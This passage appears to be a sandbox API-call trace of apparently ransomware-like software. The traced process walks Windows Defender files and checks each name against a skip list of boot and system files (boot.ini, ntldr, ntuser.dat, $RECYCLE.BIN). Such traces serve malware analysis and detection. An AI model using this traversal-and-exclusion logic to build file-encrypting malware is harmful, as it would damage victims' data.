hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0099.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.863] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.863] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MpOAV.dll", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0099.863] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MpOAV.dll", cchWideChar=9, lpMultiByteStr=0x653f5e0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MpOAV.dll", lpUsedDefaultChar=0x0) returned 9 [0099.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.863] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.863] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MpOAV.dll", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0099.863] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MpOAV.dll", cchWideChar=9, lpMultiByteStr=0x653f618, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MpOAV.dll", lpUsedDefaultChar=0x0) returned 9 [0099.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.863] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f940f0 [0099.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0099.863] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d4eb396, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x1d4eb396, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x33f88820, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x30e00, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="MpRTP.dll", cAlternateFileName="")) returned 1 [0099.863] lstrcmpiW (lpString1="MpRTP.dll", lpString2=".") returned 1 [0099.863] lstrcmpiW (lpString1="MpRTP.dll", lpString2="..") returned 1 [0099.864] lstrcmpiW (lpString1="MpRTP.dll", lpString2="...") returned 1 [0099.864] lstrcmpiW (lpString1="MpRTP.dll", lpString2="windows") returned -1 [0099.864] lstrcmpiW (lpString1="MpRTP.dll", lpString2="$RECYCLE.BIN") returned 1 [0099.864] lstrcmpiW (lpString1="MpRTP.dll", lpString2="rsa") returned -1 [0099.864] lstrcmpiW (lpString1="MpRTP.dll", lpString2="NTDETECT.COM") returned -1 [0099.864] lstrcmpiW (lpString1="MpRTP.dll", lpString2="ntldr") returned -1 [0099.864] lstrcmpiW (lpString1="MpRTP.dll", lpString2="MSDOS.SYS") returned -1 [0099.864] lstrcmpiW (lpString1="MpRTP.dll", lpString2="IO.SYS") returned 1 [0099.864] lstrcmpiW (lpString1="MpRTP.dll", lpString2="boot.ini") returned 1 [0099.864] lstrcmpiW (lpString1="MpRTP.dll", lpString2="boot.ini") returned 1 [0099.864] lstrcmpiW (lpString1="MpRTP.dll", lpString2="AUTOEXEC.BAT") returned 1 [0099.864] lstrcmpiW (lpString1="MpRTP.dll", lpString2="ntuser.dat") returned -1 [0099.864] lstrcmpiW (lpString1="MpRTP.dll", lpString2="desktop.ini") returned 1 [0099.864] lstrcmpiW (lpString1="MpRTP.dll", lpString2="CONFIG.SYS") returned 1 [0099.864] lstrcmpiW (lpString1="MpRTP.dll", lpString2="RECYCLER") returned -1 [0099.864] lstrcmpiW (lpString1="MpRTP.dll", lpString2="BOOTSECT.BAK") returned 1 [0099.864] lstrcmpiW (lpString1="MpRTP.dll", lpString2="bootmgr") returned 1 [0099.864] lstrcmpiW (lpString1="MpRTP.dll", lpString2="programdata") returned -1 [0099.864] lstrcmpiW (lpString1="MpRTP.dll", lpString2="appdata") returned 1 [0099.864] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.864] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MpRTP.dll", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0099.864] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MpRTP.dll", cchWideChar=9, lpMultiByteStr=0x653f590, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MpRTP.dll", lpUsedDefaultChar=0x0) returned 9 [0099.864] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0099.864] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MpRTP.dll", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0099.864] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MpRTP.dll", cchWideChar=9, lpMultiByteStr=0x653f590, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MpRTP.dll", lpUsedDefaultChar=0x0) returned 9 [0099.864] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0099.864] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.864] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.864] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MpRTP.dll", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0099.864] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MpRTP.dll", cchWideChar=9, lpMultiByteStr=0x653f5e0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MpRTP.dll", lpUsedDefaultChar=0x0) returned 9 [0099.864] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.864] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.864] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MpRTP.dll", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0099.864] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MpRTP.dll", cchWideChar=9, lpMultiByteStr=0x653f618, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MpRTP.dll", lpUsedDefaultChar=0x0) returned 9 [0099.864] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.865] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f94088 [0099.865] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f940f0 | out: hHeap=0x4f90000) returned 1 [0099.865] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34b85c54, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x34b85c54, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x33f88820, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xf7000, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="MpSvc.dll", cAlternateFileName="")) returned 1 [0099.865] lstrcmpiW (lpString1="MpSvc.dll", lpString2=".") returned 1 [0099.865] lstrcmpiW (lpString1="MpSvc.dll", lpString2="..") returned 1 [0099.865] lstrcmpiW (lpString1="MpSvc.dll", lpString2="...") returned 1 [0099.865] lstrcmpiW (lpString1="MpSvc.dll", lpString2="windows") returned -1 [0099.865] lstrcmpiW (lpString1="MpSvc.dll", lpString2="$RECYCLE.BIN") returned 1 [0099.865] lstrcmpiW (lpString1="MpSvc.dll", lpString2="rsa") returned -1 [0099.865] lstrcmpiW (lpString1="MpSvc.dll", lpString2="NTDETECT.COM") returned -1 [0099.865] lstrcmpiW (lpString1="MpSvc.dll", lpString2="ntldr") returned -1 [0099.865] lstrcmpiW (lpString1="MpSvc.dll", lpString2="MSDOS.SYS") returned -1 [0099.865] lstrcmpiW (lpString1="MpSvc.dll", lpString2="IO.SYS") returned 1 [0099.865] lstrcmpiW (lpString1="MpSvc.dll", lpString2="boot.ini") returned 1 [0099.865] lstrcmpiW (lpString1="MpSvc.dll", lpString2="boot.ini") returned 1 [0099.865] lstrcmpiW (lpString1="MpSvc.dll", lpString2="AUTOEXEC.BAT") returned 1 [0099.865] lstrcmpiW (lpString1="MpSvc.dll", lpString2="ntuser.dat") returned -1 [0099.865] lstrcmpiW (lpString1="MpSvc.dll", lpString2="desktop.ini") returned 1 [0099.865] lstrcmpiW (lpString1="MpSvc.dll", lpString2="CONFIG.SYS") returned 1 [0099.865] lstrcmpiW (lpString1="MpSvc.dll", lpString2="RECYCLER") returned -1 [0099.865] lstrcmpiW (lpString1="MpSvc.dll", lpString2="BOOTSECT.BAK") returned 1 [0099.865] lstrcmpiW (lpString1="MpSvc.dll", lpString2="bootmgr") returned 1 [0099.865] lstrcmpiW (lpString1="MpSvc.dll", lpString2="programdata") returned -1 [0099.865] lstrcmpiW (lpString1="MpSvc.dll", lpString2="appdata") returned 1 [0099.865] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.865] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MpSvc.dll", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0099.865] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MpSvc.dll", cchWideChar=9, lpMultiByteStr=0x653f590, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MpSvc.dll", lpUsedDefaultChar=0x0) returned 9 [0099.865] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0099.865] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MpSvc.dll", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0099.865] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MpSvc.dll", cchWideChar=9, lpMultiByteStr=0x653f590, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MpSvc.dll", lpUsedDefaultChar=0x0) returned 9 [0099.865] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0099.865] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.865] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.865] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MpSvc.dll", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0099.865] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MpSvc.dll", cchWideChar=9, lpMultiByteStr=0x653f5e0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MpSvc.dll", lpUsedDefaultChar=0x0) returned 9 [0099.865] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.866] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.866] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MpSvc.dll", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0099.866] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MpSvc.dll", cchWideChar=9, lpMultiByteStr=0x653f618, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MpSvc.dll", lpUsedDefaultChar=0x0) returned 9 [0099.866] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.866] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f940f0 [0099.866] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0099.866] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2afc28f9, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x2afc28f9, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe8c21380, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xeaa00, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="MSASCui.exe", cAlternateFileName="")) returned 1 [0099.866] lstrcmpiW (lpString1="MSASCui.exe", lpString2=".") returned 1 [0099.866] lstrcmpiW (lpString1="MSASCui.exe", lpString2="..") returned 1 [0099.866] lstrcmpiW (lpString1="MSASCui.exe", lpString2="...") returned 1 [0099.866] lstrcmpiW (lpString1="MSASCui.exe", lpString2="windows") returned -1 [0099.866] lstrcmpiW (lpString1="MSASCui.exe", lpString2="$RECYCLE.BIN") returned 1 [0099.866] lstrcmpiW (lpString1="MSASCui.exe", lpString2="rsa") returned -1 [0099.866] lstrcmpiW (lpString1="MSASCui.exe", lpString2="NTDETECT.COM") returned -1 [0099.866] lstrcmpiW (lpString1="MSASCui.exe", lpString2="ntldr") returned -1 [0099.866] lstrcmpiW (lpString1="MSASCui.exe", lpString2="MSDOS.SYS") returned -1 [0099.866] lstrcmpiW (lpString1="MSASCui.exe", lpString2="IO.SYS") returned 1 [0099.866] lstrcmpiW (lpString1="MSASCui.exe", lpString2="boot.ini") returned 1 [0099.866] lstrcmpiW (lpString1="MSASCui.exe", lpString2="boot.ini") returned 1 [0099.866] lstrcmpiW (lpString1="MSASCui.exe", lpString2="AUTOEXEC.BAT") returned 1 [0099.866] lstrcmpiW (lpString1="MSASCui.exe", lpString2="ntuser.dat") returned -1 [0099.866] lstrcmpiW (lpString1="MSASCui.exe", lpString2="desktop.ini") returned 1 [0099.866] lstrcmpiW (lpString1="MSASCui.exe", lpString2="CONFIG.SYS") returned 1 [0099.866] lstrcmpiW (lpString1="MSASCui.exe", lpString2="RECYCLER") returned -1 [0099.866] lstrcmpiW (lpString1="MSASCui.exe", lpString2="BOOTSECT.BAK") returned 1 [0099.866] lstrcmpiW (lpString1="MSASCui.exe", lpString2="bootmgr") returned 1 [0099.866] lstrcmpiW (lpString1="MSASCui.exe", lpString2="programdata") returned -1 [0099.866] lstrcmpiW (lpString1="MSASCui.exe", lpString2="appdata") returned 1 [0099.866] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.866] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MSASCui.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0099.866] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MSASCui.exe", cchWideChar=11, lpMultiByteStr=0x653f590, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MSASCui.exe", lpUsedDefaultChar=0x0) returned 11 [0099.866] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0099.866] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MSASCui.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0099.866] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MSASCui.exe", cchWideChar=11, lpMultiByteStr=0x653f590, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MSASCui.exe", lpUsedDefaultChar=0x0) returned 11 [0099.866] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0099.866] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.866] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.867] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MSASCui.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0099.867] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MSASCui.exe", cchWideChar=11, lpMultiByteStr=0x653f5e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MSASCui.exe", lpUsedDefaultChar=0x0) returned 11 [0099.867] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.867] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.867] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MSASCui.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0099.867] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MSASCui.exe", cchWideChar=11, lpMultiByteStr=0x653f618, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MSASCui.exe", lpUsedDefaultChar=0x0) returned 11 [0099.867] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.867] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f94088 [0099.867] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f940f0 | out: hHeap=0x4f90000) returned 1 [0099.867] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e1b943a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9e1b943a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9e1b943a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xee00, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="MsMpCom.dll", cAlternateFileName="")) returned 1 [0099.867] lstrcmpiW (lpString1="MsMpCom.dll", lpString2=".") returned 1 [0099.867] lstrcmpiW (lpString1="MsMpCom.dll", lpString2="..") returned 1 [0099.867] lstrcmpiW (lpString1="MsMpCom.dll", lpString2="...") returned 1 [0099.867] lstrcmpiW (lpString1="MsMpCom.dll", lpString2="windows") returned -1 [0099.867] lstrcmpiW (lpString1="MsMpCom.dll", lpString2="$RECYCLE.BIN") returned 1 [0099.867] lstrcmpiW (lpString1="MsMpCom.dll", lpString2="rsa") returned -1 [0099.867] lstrcmpiW (lpString1="MsMpCom.dll", lpString2="NTDETECT.COM") returned -1 [0099.867] lstrcmpiW (lpString1="MsMpCom.dll", lpString2="ntldr") returned -1 [0099.867] lstrcmpiW (lpString1="MsMpCom.dll", lpString2="MSDOS.SYS") returned 1 [0099.867] lstrcmpiW (lpString1="MsMpCom.dll", lpString2="IO.SYS") returned 1 [0099.867] lstrcmpiW (lpString1="MsMpCom.dll", lpString2="boot.ini") returned 1 [0099.867] lstrcmpiW (lpString1="MsMpCom.dll", lpString2="boot.ini") returned 1 [0099.867] lstrcmpiW (lpString1="MsMpCom.dll", lpString2="AUTOEXEC.BAT") returned 1 [0099.867] lstrcmpiW (lpString1="MsMpCom.dll", lpString2="ntuser.dat") returned -1 [0099.867] lstrcmpiW (lpString1="MsMpCom.dll", lpString2="desktop.ini") returned 1 [0099.867] lstrcmpiW (lpString1="MsMpCom.dll", lpString2="CONFIG.SYS") returned 1 [0099.867] lstrcmpiW (lpString1="MsMpCom.dll", lpString2="RECYCLER") returned -1 [0099.867] lstrcmpiW (lpString1="MsMpCom.dll", lpString2="BOOTSECT.BAK") returned 1 [0099.867] lstrcmpiW (lpString1="MsMpCom.dll", lpString2="bootmgr") returned 1 [0099.867] lstrcmpiW (lpString1="MsMpCom.dll", lpString2="programdata") returned -1 [0099.867] lstrcmpiW (lpString1="MsMpCom.dll", lpString2="appdata") returned 1 [0099.867] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.867] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MsMpCom.dll", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0099.867] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MsMpCom.dll", cchWideChar=11, lpMultiByteStr=0x653f590, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MsMpCom.dll", lpUsedDefaultChar=0x0) returned 11 [0099.867] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0099.867] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MsMpCom.dll", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0099.867] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MsMpCom.dll", cchWideChar=11, lpMultiByteStr=0x653f590, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MsMpCom.dll", lpUsedDefaultChar=0x0) returned 11 [0099.868] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0099.868] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.868] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.868] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MsMpCom.dll", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0099.868] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MsMpCom.dll", cchWideChar=11, lpMultiByteStr=0x653f5e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MsMpCom.dll", lpUsedDefaultChar=0x0) returned 11 [0099.868] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.868] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.868] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MsMpCom.dll", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0099.868] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MsMpCom.dll", cchWideChar=11, lpMultiByteStr=0x653f618, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MsMpCom.dll", lpUsedDefaultChar=0x0) returned 11 [0099.868] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.868] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f940f0 [0099.868] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0099.868] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x144043c0, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x144043c0, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x94b72470, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="MsMpLics.dll", cAlternateFileName="")) returned 1 [0099.868] lstrcmpiW (lpString1="MsMpLics.dll", lpString2=".") returned 1 [0099.868] lstrcmpiW (lpString1="MsMpLics.dll", lpString2="..") returned 1 [0099.868] lstrcmpiW (lpString1="MsMpLics.dll", lpString2="...") returned 1 [0099.868] lstrcmpiW (lpString1="MsMpLics.dll", lpString2="windows") returned -1 [0099.868] lstrcmpiW (lpString1="MsMpLics.dll", lpString2="$RECYCLE.BIN") returned 1 [0099.868] lstrcmpiW (lpString1="MsMpLics.dll", lpString2="rsa") returned -1 [0099.868] lstrcmpiW (lpString1="MsMpLics.dll", lpString2="NTDETECT.COM") returned -1 [0099.868] lstrcmpiW (lpString1="MsMpLics.dll", lpString2="ntldr") returned -1 [0099.868] lstrcmpiW (lpString1="MsMpLics.dll", lpString2="MSDOS.SYS") returned 1 [0099.868] lstrcmpiW (lpString1="MsMpLics.dll", lpString2="IO.SYS") returned 1 [0099.868] lstrcmpiW (lpString1="MsMpLics.dll", lpString2="boot.ini") returned 1 [0099.868] lstrcmpiW (lpString1="MsMpLics.dll", lpString2="boot.ini") returned 1 [0099.868] lstrcmpiW (lpString1="MsMpLics.dll", lpString2="AUTOEXEC.BAT") returned 1 [0099.868] lstrcmpiW (lpString1="MsMpLics.dll", 